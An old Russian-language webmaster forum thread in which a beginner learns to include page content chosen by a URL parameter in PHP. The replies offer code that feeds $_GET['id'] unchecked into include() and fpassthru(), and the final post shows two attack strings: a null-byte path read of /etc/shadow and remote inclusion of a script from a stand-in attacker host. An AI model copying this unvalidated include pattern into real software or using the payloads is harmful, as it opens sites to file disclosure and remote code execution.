|
Компьютерный форум OSzone.net » Компьютеры + Интернет » Вебмастеру » легкая смена дизайна |
|
легкая смена дизайна
|
Новый участник Сообщения: 4 |
Профиль | Отправить PM | Цитировать
Как вставлять разные данные по ссылкам на одну страничку? Замучался уже с этим вопросом. Куча всяких предложений, ничего не работает. Что в этом коде то не так?
<HTML> <HEAD> </HEAD> <BODY> <?php function foo ($in) { < !--если не вызывается просто index.php3 то происходит вставка вызываемого файла--> if ($in != "") {$out=$in;} < !-- если происходит вызов index.php3 без имени файла, то по умолчанию, вставляется файл main--> else {$out="main";} return $out;}?> <!--Мой дизайн и навигация--> <!--Вызов функции с аргументом - именем файла, запрашиваемым пользователем--> <?php include (foo($QUERY_STRING)); ?> <!--Мой дизайн и навигация--> </BODY> </HTML> http://myserver.ru/index.php3?news http://myserver.ru/index.php3?links http://myserver.ru/index.php3?about А можно и просто http://myserver.ru/?news http://myserver.ru/?links http://myserver.ru/?about |
|
Отправлено: 09:04, 01-02-2007 |
Кот Ти Сообщения: 7318
|
Профиль | Отправить PM | Цитировать Непонятно, добавляет ли foo() расширение к файлу. По-моему она просто возвращает то же самое, либо main в случае отсутствия переменной. А для include вроде как нужно полное имя файла. Тогда там написисать:
<?php function foo ($in) { if ($in != "") {$out=$in.".php3";} else {$out="main.php3";} return $out;}?> Или же данные хранятся просто в файлах без расширения? Тут есть кое-какие неясности... Может просто попробовать запросы типа http://myserver.ru/?id=news и обрабатывать их как $_GET['id'] ? Или нужно, чтобы одним словом после вопроса? |
Отправлено: 09:30, 01-02-2007 | #2 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
Новый участник Сообщения: 4
|
Профиль | Отправить PM | Цитировать хочу сделать одну страничку, которая содержала бы структуру, а по ссылкам в эту страничку добавлялись данные. хранящиеся в отдельных файликах.
Вот нашел этот код, ещё язык SSI (не понравился). Мне все равно как делать, хочу научится, понять как это сделать, сделать это. А как в $_GET['id'] делается? не можешь пример кодика выкинуть? Благодарен за отклик. |
Отправлено: 09:39, 01-02-2007 | #3 |
Кот Ти Сообщения: 7318
|
Профиль | Отправить PM | Цитировать Luke2007, а тот, который был выше не подошёл?
Вот второй пример. Есть страничка index.php (я полагаю, что .php3 не стоит использовать - сейчас вроде как все серверы(сервера?) поддерживают php4 и выше): <html><head></head><body> <!--дизайн, навигация--> <!-- ниже - основная часть: --> <?php if ($_GET['id']=="") include ("main.txt"); else include ($_GET['id'] . ".txt"); ?> <!-- окончание html-документа --> </BODY> </HTML> Как это работает: 1. Пользователь вызывает сайт http://myserver.ru/ 2. Сервер ищет index.php. Находит. Возвращает результат обработки. В данном случае, строка if ($_GET['id']=="") обозначает, что если переменной id не было в url'е (или она была пустая типа: myserver.ru/index.php?id=), то подключается содержимое файла main.txt. Ну, это и до меня вам было ясно ;-) 3. Если запрашивался адрес типа myserver.ru/index.php?id=news, то код обрабатывает строку после else: включить файл, имя которого состоит из того, что содержалось в переменной $_GET['id'] (т.е. в данном запросе это будет news) и расширения (.txt). точка между строками $_GET['id'] и ".txt" обозначает, что нужно соединить первую строку со второй. Получается имя файла news.txt, который подключается в тело html-документа функцией include. Тут есть, конечно, вариант, что пользователь "случайно" сделает запрос типа myserver.ru/index.php?id=ass, а файла ass.txt у вас не будет. В этом случае html-документ будет содержать только дизайн и навигацию. Основного содержимого не будет. Для проверки на существование этого файла немного модифицируем код (html-разметку я не переписываю): <?php if ($_GET['id']=="") include ("main.txt"); else { if (file_exists ($_GET['id'] . ".txt")) include ($_GET['id'] . ".txt"); else echo "Запрашиваемый документ не найден на сервере. Воспользуйтесь, пожалуйста, навигацией, либо идите нафиг."; } ?> Если не нравится, что файлы будут храниться в .txt, можете изменить расширение на любое другое, соответственно изменив и php-код. Но сути это не изменит (защита файлов от прямого просмотра тоже реализуется легко, но это, я думаю, сейчас не важно). Воть. Это, конечно, довольно примитивное использование php, но для начинающего - самое то. Я сам так учился ;-) Если понравится язык, могу предложить лекции по нему на сайте intuit.ru. Не сказать, что там всё прозрачно описано, но лучше я не видел (в электронном варианте. В текстовом - полно книг хороших и разных). |
Отправлено: 10:10, 01-02-2007 | #4 |
Новый участник Сообщения: 4
|
Профиль | Отправить PM | Цитировать Круто, работает. Спасибо! Все так просто. А я пересмотрел, там такие жуткие коды с примерами были. Я синтаксис языка ещё плохо знаю. Есть пару учебников в электронном виде. Реально нравица один, там даже про эту функцию ниче написано не было. Смотрел с кодированием url, ещё не разобрался. Сейчас поюзаю. А то перерыл много, а ничего до конца не работает. Прочитал что эта include вообще никак не защищена от взлома. Точно ничего не знаю, как защищена, как защищать, как взламывать. Это первое, что работает до конца и правельно, благодоря вам. Оргомное спасибо.
|
|
Отправлено: 10:33, 01-02-2007 | #5 |
Кот Ти Сообщения: 7318
|
Профиль | Отправить PM | Цитировать Защищена от взлома или нет - меня мало волнует. Можете попробовать вместо include() написать одну из следующих функций:
А хакеры, если взломать захотят - всё равно взломают (опытные, конечно. Новички, пожалуй, с этим ничего не сделают). И даже безумно защищённый код. По правилу "умный в гору не пойдёт - умный гору обойдёт". Т.е. проще сервер вскрыть))) Но вы же особо секретные данные хранить на сайте не собираетесь?) |
Отправлено: 12:47, 01-02-2007 | #6 |
Новый участник Сообщения: 4
|
Профиль | Отправить PM | Цитировать Да, как говорится, замок - это только для честных людей. Мол чтобы у честных людей небыло соблазну испортить вам сайт. Смотрю, разных функций много и работают то по разному, то одинаково, не во всех учебниках преведины все. Я так понял можно тоже самое сделать и
<?php if ($_GET['id']=="") include_once ("new.txt"); else { if (file_exists ($_GET['id'])) { fopen ($_GET['id']); fpassthru($_GET['id']); } else echo "Запрашиваемый документ не найден на сервере. Воспользуйтесь, пожалуйста, навигацией, либо идите нафиг."; } ?> Еще вопрос. Я таким образом ещё не просто текст подключаю, но и пхп код гостевой книги, добавления новостей. И как я понял, с этим могут возникнуть проблемы, но пока вроде все работает. А что может пойти не так, из за чего произойдет сбой? |
Последний раз редактировалось Prisoner, 02-02-2007 в 12:57. Отправлено: 07:57, 02-02-2007 | #7 |
Кот Ти Сообщения: 7318
|
Профиль | Отправить PM | Цитировать Цитата:
Итак, проверили файл на наличие. Далее открываем его. Функция fopen() возвращает указатель на файл. Т.е. его надо где-то сохранить. Пишем так: $file = fopen($_GET['id']. ".txt"); (ну или с другим расширением). Указатель на файл сохранится в переменной $file. Далее уже его нужно использовать в следующей функции. fpassthru($file); Я точно не знаю, но по-моему даже так работать не будет. Потому что прочитанный файл нужно куда-то сохранить. Так? Пишем $content=fpassthru($file);. Содержимое файла сохраняется в переменной $content. Далее эту переменную отправляем на вывод: echo $content; Хотя, конечно, можно написать и просто echo fpassthru($file); А затем не забываем закрыть указатель fclose($file); - на всякий случай. Цитата:
|
||
Отправлено: 11:57, 02-02-2007 | #8 |
runs with scissors Сообщения: 642
|
Профиль | Отправить PM | Цитировать даже такому куль-хацкеру как мне видна одна уязвимость c fpassthru((не факт, может ее уже пофиксили) index.php?id=/etc/shadow%00 ) и одна с include/require((тоже не факт)(при allow_url_fopen) index.php?id=http://zloyhacker.ru/exploit.php%00 )
так что по-хорошему нужна еще проверка id на возможность |
------- Отправлено: 20:53, 02-02-2007 | #9 |
Участник сейчас на форуме | Участник вне форума | Автор темы | Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
Конфигурация для графического дизайна и 3D | un-named | Выбор отдельных компонентов компьютера и конфигурации в целом | 10 | 11-03-2008 00:20 | |
Небольшие изменения дизайна | BigMac | О сайте и форуме | 182 | 10-07-2006 15:33 | |
Где взять шаблоны веб дизайна? | Vlad Drakula | Вебмастеру | 5 | 25-10-2004 15:08 | |
В моих работах нет не дизайна не криатива. | Xcode | Вебмастеру | 8 | 18-09-2003 20:07 | |
Генерилка дизайна | Rom K | Вебмастеру | 11 | 04-10-2002 08:05 |
|